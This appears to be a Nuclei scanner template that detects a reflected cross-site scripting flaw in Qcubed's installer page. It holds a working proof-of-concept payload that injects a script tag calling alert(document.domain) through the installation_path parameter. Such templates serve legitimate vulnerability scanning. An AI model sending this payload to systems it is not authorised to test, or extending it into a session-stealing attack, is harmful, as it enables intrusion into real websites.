43 lines
1.4 KiB
YAML
43 lines
1.4 KiB
YAML
id: qcubed-xss
|
|
|
|
info:
|
|
name: Qcubed - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: high
|
|
description: Qcubed contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary JavaScript via the /assets/php/_devtools/installer/step_2.php endpoint and the installation_path parameter.
|
|
reference:
|
|
- https://github.com/qcubed/qcubed/issues/1230
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
max-request: 2
|
|
tags: xss,qcubed
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
- "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
# digest: 4b0a00483046022100df047d79595a124ad37d0dc5cc22ff2ed17ec4fc66fd7e38f065b79aa0f03fdf022100d4510c49cb992864f589c9c3999d50e708b2ac8810d33d1e4860cd77b68d9828:922c64590222798bb761d5b6d8e72950
|